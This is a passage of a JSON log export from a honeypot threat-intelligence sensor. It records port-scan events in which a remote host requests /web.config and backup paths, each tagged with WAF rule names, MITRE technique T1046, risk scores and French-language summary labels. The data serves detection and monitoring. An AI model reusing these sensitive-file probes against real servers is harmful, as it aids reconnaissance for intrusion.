\u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 4.32, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":186},{"id":7106394,"ip":"185.244.155.23","ts":"2026-10-23 11:45:48.000000","proto":"tcp","src_port":17553,"dst_port":20626,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/web.config","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022config\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022fb61e36fe9095535f127e3353d957f1c1310e8e9\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 179, \u0022payload_entropy\u0022: 5.199011692965391, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20626, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 45, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00226d6fdb2e7bfbd335b9746424847e6a8cf935536c\u0022, \u0022event_fingerprint\u0022: \u0022c0267aef5028415a433b634482f619b8909dbc92\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 45, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00226796f1d0cd43383799b9b8781ceb99b1\u0022, \u0022path_pattern_hash\u0022: \u00220913647d7e838cdd727ceda37a671f37\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 45}, \u0022payload_preview\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00229299c8d64191a7ca46cb80aa53bde596dd5c2071\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20626 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 45\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 45, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 45, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20626, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20626, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20626 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022target_port_label\u0022: \u002220626 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220626\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 4.69, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":179}],"total_events":702}